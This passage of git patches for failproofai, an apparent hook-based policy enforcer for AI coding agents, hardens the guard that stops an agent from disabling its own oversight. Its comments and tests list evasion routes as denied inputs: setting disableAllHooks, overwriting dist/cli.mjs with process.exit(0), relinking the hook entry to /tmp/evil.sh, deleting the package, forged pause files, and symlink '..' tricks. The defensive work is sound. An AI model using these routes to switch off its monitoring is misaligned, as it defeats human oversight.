off hooks installed in + * `~/.claude/settings.json`, and a running session picks the change up from its + * settings file watcher. Nothing in failproofai read the key, so a machine whose + * agent had set it — the cheapest way for a prompt-injected agent to switch its + * own enforcement off — still reported itself as enforcing. + * + * Pure apart from the reads, which go through a seam: `config --status` passes + * the real files, tests pass their own. + */ +import { readFileSync } from "node:fs"; + +/** Where Claude Code looks for the managed (enterprise) settings file. */ +export const CLAUDE_MANAGED_SETTINGS_PATHS: Readonly>> = { + linux: "/etc/claude-code/managed-settings.json", + darwin: "/Library/Application Support/ClaudeCode/managed-settings.json", +}; + +/** The settings files that can decide `disableAllHooks`, highest precedence first. */ +export function claudeSettingsLayersByPrecedence( + scopes: { user: string; project: string; local: string }, + platform: NodeJS.Platform = process.platform, +): string[] { + const managed = CLAUDE_MANAGED_SETTINGS_PATHS[platform]; + return [...(managed ? [managed] : []), scopes.local, scopes.project, scopes.user]; +} + +/** + * The settings file whose `"disableAllHooks": true` is in effect, or null. + * + * The first layer that sets the key as a boolean decides, as in Claude Code: a + * `false` higher up wins over a `true` below it. A file that is missing or does + * not parse is skipped, which is what Claude Code does with it too. + */ +export function claudeHooksSwitchedOffBy( + layers: readonly string[], + read: (path: string) => string = (path) => readFileSync(path, "utf8"), +): string | null { + // Two scopes resolve to one file when run from the home directory. + for (const path of new Set(layers)) { + let parsed: unknown; + try { + parsed = JSON.parse(read(path)); + } catch { + continue; + } + if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) continue; + const value = (parsed as Record).disableAllHooks; + if (typeof value !== "boolean") continue; + return value ? path : null; + } + return null; +} diff --git a/src/hooks/config-status.ts b/src/hooks/config-status.ts index 8d01b1e0e..166e03104 100644 --- a/src/hooks/config-status.ts +++ b/src/hooks/config-status.ts @@ -24,6 +24,7 @@ import { readFileSync } from "node:fs"; import { resolve } from "node:path"; import { readCloudCredentials } from "./cloud-enrollment"; +import { claudeHooksSwitchedOffBy, claudeSettingsLayersByPrecedence } from "./claude-hooks-switch"; import { CODEX_UNTRUSTED_NOTICE, codexHookTrust, type CodexHookTrust } from "./codex-system-hooks"; import { describeMachine } from "./cloud-enrollment-cli"; import { cloudBaseFor } from "./cloud-connection"; @@ -43,14 +44,14 @@ import { spoolBacklog } from "./flush-cli"; import { isAgentTraced, readConfig, readCredentials, readVersionFile } from "./fp-config"; import { collectorHealthFile, customPoliciesDir } from "./fp-home"; import { configuredCustomPolicyPaths, findProjectConfigDir, readMergedHooksConfig } from "./hooks-config"; -import { detectInstalledClis, listInstallableIds } from "./integrations"; +import { claudeCode, detectInstalledClis, listInstallableIds } from "./integrations"; import { notEnforcingReason, type NotEnforcingReason } from "./manager"; import { hasInstalledRegexPacks, readInstalledPacks } from "./pack-manifest"; import { CORE_SOURCE } from "./pack-store"; import { formatDuration, listActivePauses } from "./session-pause"; import { pauseClockTime, type PauseClock } from "./session-pause-cli"; import { optsFor, screenKit, type ScreenKitOpts, type TTYOut } from "./tui"; -import type { IntegrationType } from "./types"; +import { HOOK_SCOPES, type IntegrationType } from "./types"; /** * A health record older than this was left by a daemon that stopped writing it. @@ -152,6 +153,12 @@ export interface StatusFacts { * hooks nobody has trusted, so hooks being installed is not enough. */ codex?: CodexHookTrust; + /** + * Present when failproofai's Claude Code hooks are installed and a settings + * file's `"disableAllHooks": true` is in effect, so Claude Code runs none of + * them — the always-on guard included. `path` is the file that decides. + */ + claudeHooksOff?: { path: string }; } /** Seams for everything that would otherwise reach a service manager, PATH or the network. */ @@ -163,6 +170,8 @@ export interface StatusDeps { detectInstalled?: () => IntegrationType[]; notEnforcing?: (cwd?: string) => NotEnforcingReason | null; codexTrust?: () => CodexHookTrust; + /** The Claude Code settings file switching failproofai's hooks off, or null. */ + claudeHooksOff?: (cwd: string) => string | null; } /** @@ -377,6 +386,7 @@ export async function gatherStatusFacts(deps: StatusDeps = {}): Promise claudeCode.hooksInstalledInSettings(scope, cwd)); + if (!installed) return null; + return claudeHooksSwitchedOffBy( + claudeSettingsLayersByPrecedence({ + user: claudeCode.getSettingsPath("user", cwd), + project: claudeCode.getSettingsPath("project", cwd), + local: claudeCode.getSettingsPath("local", cwd), + }), + ); +} + +function claudeHooksOffFact(deps: StatusDeps, cwd: string): Pick { + try { + const path = (deps.claudeHooksOff ?? claudeHooksSwitchedOff)(cwd); + return path ? { claudeHooksOff: { path } } : {}; + } catch { + return {}; + } +} + /** The one line that needs attention, before it is painted. */ export interface StatusAttention { severity: "fail" | "caution"; @@ -428,6 +465,15 @@ export function pickStatusAttention(facts: StatusFacts): StatusAttention | null fix: "failproofai config", }; } + // Ahead of "not enforcing": this one is silent from inside the session, and + // it is what an agent switching its own enforcement off leaves behind. + if (facts.claudeHooksOff) { + return { + severity: "fail", + text: "Claude Code is running none of failproofai's hooks: disableAllHooks is true.", + detail: `Remove "disableAllHooks" from ${facts.claudeHooksOff.path}.`, + }; + } if (facts.notEnforcing) { const fix = facts.notEnforcing === "no-hooks" @@ -617,6 +663,9 @@ export function renderStatusScreen(facts: StatusFacts, opts: ScreenKitOpts & { c ], ["policies", policiesValue()], ...(codexValue() ? [["codex", codexValue()!] as [string, string]] : []), + ...(facts.claudeHooksOff + ? [["claude", `${kit.off} Not enforcing: disableAllHooks in ${facts.claudeHooksOff.path}`] as [string, string]] + : []), ]; const sections: Array<[string, Array<[string, string]>]> = [ diff --git a/src/hooks/policy-catalog.ts b/src/hooks/policy-catalog.ts index ad4300c5e..8222e7b5a 100644 --- a/src/hooks/policy-catalog.ts +++ b/src/hooks/policy-catalog.ts @@ -232,7 +232,7 @@ export const POLICY_CATALOG: PolicyCatalogEntry[] = [ name: "block-failproofai-commands", displayTitle: "Tried to disable, pause or modify failproofai itself", impact: "An agent that can pause or remove enforcement can switch off every other policy.", - description: "Block failproofai CLI commands, self-pause and uninstallation", + description: "Block failproofai CLI commands, self-pause, uninstallation, and agent edits to hook settings", // PermissionRequest is carried over from the merged-in `block-self-pause`. // It is a real enforcement point on Copilot and Devin, and dropping it would // have left this guard blind on both. @@ -240,10 +240,12 @@ export const POLICY_CATALOG: PolicyCatalogEntry[] = [ // through this guard unguarded: the agent never needs a shell to overwrite // `~/.failproofai/policies-config.json` with `{"enabledPolicies":[]}` — it // just writes the file. Every CLI canonicalizes its own file tool's path - // key to `file_path`, so one branch covers all of them. + // key to `file_path`, so one branch covers all of them. MultiEdit is the + // same write through Claude Code's other edit tool, and these tools are + // also how an agent would set `"disableAllHooks": true` in its settings. match: { events: ["PreToolUse", "PermissionRequest"], - toolNames: ["Bash", "Write", "Edit", "NotebookEdit"], + toolNames: ["Bash", "Write", "Edit", "MultiEdit", "NotebookEdit"], }, defaultEnabled: true, alwaysOn: true, From 18328b0d05ee4787a4646268060ac519884ab61e Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:16:23 +0530 Subject: [PATCH 03/89] [hooks] Address review: kernel-order symlink walk, pnpm store, $NVM_BIN, pause renewal and --resume --all MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - resolveWriteTarget walks the path one component at a time with lstat and readlink. Node's realpathSync collapses `..` as text before following links, so a Write to `/../dist/cli.mjs` resolved to a harmless path while open(2) wrote the CLI. It also expands `~`, and a non-string file_path no longer throws (a throw drops the always-on guard from the evaluation). - The installed-code pattern covers pnpm's virtual store (`.pnpm/failproofai@…`, `.pnpm/@failproofai+failproofaid…@…`) and the entry through `$NVM_BIN` / `$PNPM_HOME`; a directory named failproofai under bin/ is no longer read as the entry file. Glob candidates for `./node_modules/failproofai` and pnpm's store, with decoys. - writePause keeps the run's start no later than the renewal, so a renewal right after a small clock step back is not refused by the reader. - `config --resume --all` removes every pause file, including one dated in the future that is not honoured yet and would otherwise turn live later. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 4 +- __tests__/hooks/guard-installed-code.test.ts | 36 +++++ __tests__/hooks/session-pause-cli.test.ts | 12 ++ __tests__/hooks/session-pause.test.ts | 21 +++ src/hooks/builtin-policies.ts | 136 +++++++++++++------ src/hooks/session-pause-cli.ts | 6 +- src/hooks/session-pause.ts | 33 ++++- 7 files changed, 199 insertions(+), 49 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 40cfa2e67..517b19a86 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,8 +9,8 @@ ### Fixes - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) -- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, to the daemon's `@failproofai/failproofaid-*` package, or to the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are the shell commands that write there. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100 (FailproofAI/agenteye#1796) +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet (FailproofAI/agenteye#1796) ## 1.0.16-beta.0 — 2026-11-23 diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index b4f9e0692..785c6f2f5 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -156,11 +156,35 @@ describe("block-failproofai-commands — failproofai's installed code", () => { expect((await write("elsewhere/tool.mjs", root)).decision).toBe("deny"); }); + // `path.resolve` and Node's realpathSync collapse `..` as text before they + // follow links, so this resolved to `elsewhere/dist/cli.mjs` — a path that + // does not exist — while open(2) follows `pkg` first and writes the CLI. + // (Template strings, not `join`, which would collapse the `..` right here.) + it("steps out of a link the way the kernel does, not the way path.resolve does", async () => { + expect((await write(`${root}/elsewhere/pkg/../failproofai/dist/cli.mjs`)).decision).toBe("deny"); + const viaDist = join(root, "elsewhere", "dist-link"); + symlinkSync(join(pkg, "dist"), viaDist); + expect((await write(`${viaDist}/../dist/cli.mjs`)).decision).toBe("deny"); + // And the same `..` from a directory that is not a link lands next to it. + expect((await write(`${root}/elsewhere/../elsewhere/notes.md`)).decision).toBe("allow"); + }); + it("still allows an ordinary file next to the links", async () => { expect((await write(join(root, "elsewhere", "notes.md"))).decision).toBe("allow"); }); }); + // Tool input is untrusted JSON. A throw from the guard takes it out of the + // evaluation entirely, so a malformed path must be judged, not crash it. + it("judges a non-string path instead of throwing", async () => { + const odd = async (file_path: unknown) => + (await policy.fn(makeCtx({ toolName: "Write", toolInput: { file_path, content: "x" }, session: { cwd: "/work/proj" } }))) + .decision; + expect(await odd(42)).toBe("allow"); + expect(await odd({ path: "/tmp/x" })).toBe("allow"); + expect(await odd(["/usr/local/bin/failproofai"])).toBe("deny"); + }); + // Not a general file-write blocker: the package directory and the bin // entry, and nothing that merely carries the name. it.each([ @@ -171,6 +195,7 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["a package that only shares a prefix", "/work/proj/node_modules/failproofai-extras/index.js"], ["the TypeScript SDK", "/work/proj/node_modules/@failproofai/sdk/dist/index.js"], ["a project file named after the product", "/work/proj/src/failproofai.ts"], + ["a project in a directory of that name under bin/", "/home/u/bin/failproofai/src/index.ts"], ])("allows writing %s", async (_label, path) => { expect((await write(path)).decision).toBe("allow"); }); @@ -188,9 +213,18 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["cd into the package, then delete", `cd ${NVM_PKG} && rm -rf dist`], ["a project install", "rm -rf node_modules/failproofai"], ["a glob onto a project install", "rm -rf node_modules/fail*"], + ["a dotted glob onto a project install", "rm -rf ./node_modules/fail*"], ["relinking the hook entry", "ln -sf /tmp/evil.sh /home/u/.nvm/versions/node/v22.11.0/bin/failproofai"], ["copying over the hook entry", "cp /tmp/evil.sh /usr/local/bin/failproofai"], ["installing over the hook entry", "install -m 755 /tmp/evil.sh /home/u/.bun/bin/failproofai"], + // The variables nvm and pnpm export for the directory the entry lives in. + ["copying over the entry through $NVM_BIN", 'cp /tmp/evil.sh "$NVM_BIN/failproofai"'], + ["relinking the entry through ${PNPM_HOME}", "ln -sf /tmp/evil.sh ${PNPM_HOME}/failproofai"], + // pnpm keeps the package one directory above its own node_modules. + ["removing pnpm's store entry in a project", "rm -rf node_modules/.pnpm/failproofai@1.0.15"], + ["removing pnpm's global store entry", "rm -rf /home/u/.local/share/pnpm/global/5/.pnpm/failproofai@1.0.15"], + ["removing the daemon package from pnpm's store", "rm -rf node_modules/.pnpm/@failproofai+failproofaid-linux-x64@1.0.15"], + ["a glob onto pnpm's store entry", "rm -rf node_modules/.pnpm/fail*"], ])("denies %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); }); @@ -204,6 +238,8 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["backing the package up", "cp -r node_modules/failproofai /tmp/fp-backup"], ["a clean reinstall", "rm -rf node_modules && npm ci"], ["clearing every dependency", "rm -rf node_modules/*"], + ["clearing pnpm's whole store", "rm -rf node_modules/.pnpm/*"], + ["a test run inside a directory of that name under bin/", "vitest run --root /home/u/bin/failproofai/web"], ["clearing a build cache", "rm -rf node_modules/.cache"], ["removing a checkout of the repo", "rm -rf /home/u/src/failproofai"], ["cloning the repo", "git clone https://github.com/FailproofAI/failproofai"], diff --git a/__tests__/hooks/session-pause-cli.test.ts b/__tests__/hooks/session-pause-cli.test.ts index 906cf5fb9..a605030ed 100644 --- a/__tests__/hooks/session-pause-cli.test.ts +++ b/__tests__/hooks/session-pause-cli.test.ts @@ -257,6 +257,18 @@ describe("--resume", () => { expect(readActivePause("s1", NOW)).toBeNull(); expect(readActivePause("s2", NOW)).toBeNull(); }); + + // A pause file dated in the future is not honoured, so it is not listed — but + // it turns live when its date arrives. `--all` is how a person ends every + // pause, so it must remove that one too (FailproofAI/agenteye#1796). + it("--all also removes a pause dated in the future, before it can turn live", () => { + writePause({ sessionId: "s1", durationMs: 600_000, now: NOW }); + writePause({ sessionId: "later", durationMs: 600_000, now: NOW + 3_600_000 }); + expect(readActivePause("later", NOW)).toBeNull(); + const r = runPauseCommand({ action: "resume", all: true, cwd: "/tmp/p", now: NOW, render: PLAIN }); + expect(r.affected).toBe(1); + expect(readActivePause("later", NOW + 3_600_000)).toBeNull(); + }); }); // `--status` is a whole-machine screen now (config-status.ts). Its two tests diff --git a/__tests__/hooks/session-pause.test.ts b/__tests__/hooks/session-pause.test.ts index 55e0697f5..9c6378bb6 100644 --- a/__tests__/hooks/session-pause.test.ts +++ b/__tests__/hooks/session-pause.test.ts @@ -6,6 +6,7 @@ import { resolve } from "node:path"; import { PAUSE_CEILING_MS, PAUSE_DEFAULT_MS, + clearAllPauses, clearPause, formatDuration, listActivePauses, @@ -255,6 +256,26 @@ describe("pause state", () => { expect(renewed.firstPausedAt).toBe(now); expect(renewed.expiresAt).toBe(now + 60_000); }); + + // A renewal carries the run's start forward. After a small clock step back, + // that start reads as later than the renewal, and the reader would refuse + // the very pause the CLI had just reported extended. + it("survives a renewal issued just after the clock stepped back", () => { + writePause({ sessionId: "sess-c", durationMs: 600_000, now }); + const renewed = writePause({ sessionId: "sess-c", durationMs: 600_000, now: now - 30_000 }); + expect(renewed.firstPausedAt).toBe(now - 30_000); + expect(readActivePause("sess-c", now - 30_000)?.expiresAt).toBe(now + 570_000); + }); + + // Not honoured yet is not the same as gone: a file dated an hour ahead turns + // live in an hour. Ending every pause has to end that one too. + it("is removed by clearAllPauses, which counts only the active ones", () => { + forge({ pausedAt: now + 3_600_000, firstPausedAt: now + 3_600_000, expiresAt: now + 9 * 3_600_000 }); + writePause({ sessionId: "sess-live", durationMs: 600_000, now }); + expect(clearAllPauses(now)).toBe(1); + expect(readdirSync(pauseStateDir())).toEqual([]); + expect(readActivePause("sess-f", now + 2 * 3_600_000)).toBeNull(); + }); }); }); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 7c62bc41c..f63fd9cd7 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -1,8 +1,8 @@ /** * Built-in security policies for Claude Code hooks. */ -import { resolve, join, dirname, basename, isAbsolute } from "node:path"; -import { realpathSync, statSync } from "node:fs"; +import { resolve, join } from "node:path"; +import { lstatSync, readlinkSync, statSync } from "node:fs"; import { readFile, writeFile } from "node:fs/promises"; import { execSync, execFileSync } from "node:child_process"; import { homedir } from "node:os"; @@ -474,24 +474,36 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; * tampered client never asks it. The state pattern below needs a `.` the * package path does not have (FailproofAI/agenteye#1796). * - * - `node_modules/failproofai`, in every layout a package manager uses — and - * `node_modules/@failproofai/failproofaid-*`, the daemon's platform package, - * which `failproofai config` and `update` copy into place (on Linux as root, - * under `/opt`). - * - `…/bin/failproofai`, the entry npm, nvm, Homebrew, bun, Volta and yarn put - * on PATH, and `…/pnpm/failproofai`, which pnpm puts directly in its home. - * - * A checkout of this repository matches neither — no `node_modules` above it, - * and its entry is `bin/failproofai.mjs` — so the guard does not stand in front - * of working on failproofai itself. `node_modules/.bin/failproofai`, the stub - * `npx` prefers, is not matched here either (FailproofAI/agenteye#1795). + * A checkout of this repository matches none of the shapes below — no + * `node_modules` above it, and its entry is `bin/failproofai.mjs` — so the guard + * does not stand in front of working on failproofai itself. + * `node_modules/.bin/failproofai`, the stub `npx` prefers, is not matched here + * either (FailproofAI/agenteye#1795). * * Case-insensitive because macOS volumes are by default: every casing of these * paths opens the real file. `(?:\.?[\\/])*` absorbs the `//` and `/./` a path - * resolver collapses. - */ -const FAILPROOFAI_CODE_PATH_RE = - /node_modules[\\/](?:\.?[\\/])*(?:failproofai(?![\w.@-])|@failproofai[\\/](?:\.?[\\/])*failproofaid\b)|[\\/](?:bin|pnpm)[\\/](?:\.?[\\/])*failproofai(?:\.cmd|\.ps1)?(?![\w.@-])/i; + * resolver collapses. This matches the path as WRITTEN: a shell spelling that + * only the shell resolves — `..`, a `cd` before a relative path, a command + * substitution — is beyond it, as it is for the state (see `stripShellQuoting`). + * The file tools also check the path a write really lands on (`resolveWriteTarget`). + */ +const FAILPROOFAI_CODE_PATH_RE = new RegExp( + [ + // The package, in every layout a package manager uses, and the daemon's + // platform package, which `failproofai config` and `update` copy into place + // (on Linux as root, under `/opt`). + String.raw`node_modules[\\/](?:\.?[\\/])*(?:failproofai(?![\w.@-])|@failproofai[\\/](?:\.?[\\/])*failproofaid\b)`, + // pnpm's virtual store, which holds each package one directory above its + // own `node_modules/failproofai`. + String.raw`\.pnpm[\\/](?:\.?[\\/])*(?:failproofai|@failproofai\+failproofaid[\w.-]*)@`, + // The entry a hook command names: `…/bin/failproofai` for npm, nvm, + // Homebrew, bun, Volta and yarn, `…/pnpm/failproofai` for pnpm's home, and + // the variables nvm and pnpm export for those directories. A FILE, so a + // directory of that name (`~/bin/failproofai/src/…`) is not it. + String.raw`(?:[\\/](?:bin|pnpm)|\$\{?(?:NVM_BIN|PNPM_HOME)\}?)[\\/](?:\.?[\\/])*failproofai(?:\.cmd|\.ps1)?(?![\w.@\\/-])`, + ].join("|"), + "i", +); /** * failproofai's own files: its state, and the installed code above. @@ -509,10 +521,16 @@ const FAILPROOFAI_STATE_PATH_RE = new RegExp( "i", ); -/** Which of failproofai's own files `path` names, for a deny message that says which. */ -function failproofaiFileKind(path: string): "state" | "code" | null { - if (!path || !FAILPROOFAI_STATE_PATH_RE.test(path)) return null; - return FAILPROOFAI_CODE_PATH_RE.test(path) ? "code" : "state"; +/** + * Which of failproofai's own files `path` names, for a deny message that says + * which. Tool input is untrusted JSON, so a non-string is read the way + * `RegExp.test` always read it — as its string form — rather than waved through. + */ +function failproofaiFileKind(path: unknown): "state" | "code" | null { + if (path === undefined || path === null || path === "") return null; + const text = String(path); + if (!FAILPROOFAI_STATE_PATH_RE.test(text)) return null; + return FAILPROOFAI_CODE_PATH_RE.test(text) ? "code" : "state"; } /** @@ -520,28 +538,60 @@ function failproofaiFileKind(path: string): "state" | "code" | null { * * A file tool writes THROUGH a link, so the path it is handed is not * necessarily the one it changes — and npm, nvm and bun install the - * `failproofai` bin entry as exactly such a link into the package. A tail that - * does not exist yet (a file about to be created) is re-attached to the deepest - * ancestor that does, so a new file under a linked directory resolves too. A - * relative path is taken from the session's directory, not this process's: the - * daemon's worker runs somewhere else entirely. - * - * "" when nothing resolves. Never throws — this runs for every file write. - */ -function resolveWriteTarget(path: string, cwd: string | undefined): string { - let current = isAbsolute(path) ? path : path && cwd ? join(cwd, path) : ""; - const missing: string[] = []; - for (let depth = 0; current && depth < 64; depth++) { - try { - return join(realpathSync(current), ...missing); - } catch { - const parent = dirname(current); - if (parent === current) break; - missing.unshift(basename(current)); - current = parent; + * `failproofai` bin entry as exactly such a link into the package. + * + * Walked one component at a time, the way the kernel resolves a path: a link is + * expanded where it stands, and a `..` after it steps out of what it points at. + * `path.resolve` and Node's `realpathSync` both collapse `..` as TEXT first, so + * a write to `/../dist/cli.mjs` resolved to a harmless path + * while `open(2)` wrote the CLI. From the first component that does not exist + * nothing below can be a link, so the rest is the tail of a file being created. + * A relative path is taken from the session's directory, not this process's — + * the daemon's worker runs somewhere else entirely — and `~` from home. + * + * "" when nothing resolves. Never throws, whatever the tool input holds: a + * throw here would take the always-on guard out of the evaluation. + */ +function resolveWriteTarget(path: unknown, cwd: unknown): string { + if (typeof path !== "string" || path === "") return ""; + try { + const expanded = path === "~" || path.startsWith("~/") ? homedir() + path.slice(1) : path; + const start = expanded.startsWith("/") + ? expanded + : typeof cwd === "string" && cwd.startsWith("/") + ? `${cwd}/${expanded}` + : ""; + if (!start) return ""; + const pending = start.split("/"); + let resolved = ""; // "" is the root + for (let links = 0; pending.length > 0; ) { + const part = pending.shift()!; + if (part === "" || part === ".") continue; + if (part === "..") { + resolved = resolved.slice(0, resolved.lastIndexOf("/")); + continue; + } + const next = `${resolved}/${part}`; + let isLink: boolean; + try { + isLink = lstatSync(next).isSymbolicLink(); + } catch { + return join(next, ...pending); + } + if (!isLink) { + resolved = next; + continue; + } + // The kernel's own bound on a chain of links (MAXSYMLINKS). + if (++links > 40) return ""; + const target = readlinkSync(next); + if (target.startsWith("/")) resolved = ""; + pending.unshift(...target.split("/")); } + return resolved || "/"; + } catch { + return ""; } - return ""; } /** @@ -782,6 +832,8 @@ const STATE_GLOB_CANDIDATES = [ // directory and the npx cache's hash are not, so a glob under those is not one // this list can anticipate; the literal paths there still match. "node_modules/failproofai", + "./node_modules/failproofai", + "node_modules/.pnpm/failproofai@1.0.0", "/usr/local/lib/node_modules/failproofai", "/usr/lib/node_modules/failproofai", "/opt/homebrew/lib/node_modules/failproofai", @@ -808,7 +860,7 @@ const GLOB_DECOYS = [ "a", "foo.txt", "test-failures", // Neighbours of the installed-code candidates, so `rm -rf node_modules/*` and // its global equivalents are read as the sweeps they are. - "node_modules/react", "node_modules/.bin", + "node_modules/react", "node_modules/.bin", "./node_modules/react", "node_modules/.pnpm/react@18.0.0", "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", ]; diff --git a/src/hooks/session-pause-cli.ts b/src/hooks/session-pause-cli.ts index 958b507cb..18d840cbe 100644 --- a/src/hooks/session-pause-cli.ts +++ b/src/hooks/session-pause-cli.ts @@ -12,8 +12,8 @@ */ import { PAUSE_CEILING_MS, + clearAllPauses, clearPause, - listActivePauses, parsePauseDuration, readActivePause, resolveSessionForCwd, @@ -114,9 +114,7 @@ export function runPauseCommand(opts: PauseCommandOptions): PauseCommandResult { if (opts.action === "resume") { const kit = kitFor(true); if (opts.all) { - const active = listActivePauses(now); - let cleared = 0; - for (const pause of active) if (clearPause(pause.sessionId)) cleared++; + const cleared = clearAllPauses(now); return { exitCode: 0, lines: [ diff --git a/src/hooks/session-pause.ts b/src/hooks/session-pause.ts index 5af52fd59..e09aae835 100644 --- a/src/hooks/session-pause.ts +++ b/src/hooks/session-pause.ts @@ -212,7 +212,10 @@ export function writePause(opts: { // Carry the run's original start forward while a pause is still live, so a // renewal extends the same stretch rather than starting a fresh ceiling. const existing = readActivePause(opts.sessionId, now); - const firstPausedAt = existing?.firstPausedAt ?? now; + // Never later than this renewal: after a small clock step backwards the run's + // start can read as later than `now`, and the reader refuses a start after the + // latest renewal — the pause the CLI just reported extended would not exist. + const firstPausedAt = existing ? Math.min(existing.firstPausedAt, now) : now; const pause: ActivePause = { sessionId: opts.sessionId, pausedAt: now, @@ -240,6 +243,34 @@ export function clearPause(sessionId: string): boolean { } } +/** + * Remove every pause file, whatever it holds. Returns how many pauses were + * ACTIVE, which is what a person ending them is told. + * + * Every file, not every active pause: a file dated in the future is not honoured + * yet, so it is not listed, and clearing only the listed ones left it to turn + * live later — out of sight of the `--resume --all` meant to end them all. + */ +export function clearAllPauses(now = Date.now()): number { + const active = listActivePauses(now).length; + const dir = pauseStateDir(); + let names: string[] = []; + try { + names = readdirSync(dir); + } catch { + return active; + } + for (const name of names) { + if (!name.endsWith(".json")) continue; + try { + rmSync(join(dir, name)); + } catch { + // One file that will not go must not stop the rest. + } + } + return active; +} + /** Every pause that has not yet expired, newest first. Expired files are ignored. */ export function listActivePauses(now = Date.now()): ActivePause[] { const dir = pauseStateDir(); From 8956fde137b7d0391d7d3a7da126f6a2153524e1 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:17:16 +0530 Subject: [PATCH 04/89] [hooks] CHANGELOG: cite #1050 Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 517b19a86..aa657727c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,8 +9,8 @@ ### Fixes - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) -- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet (FailproofAI/agenteye#1796) +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet 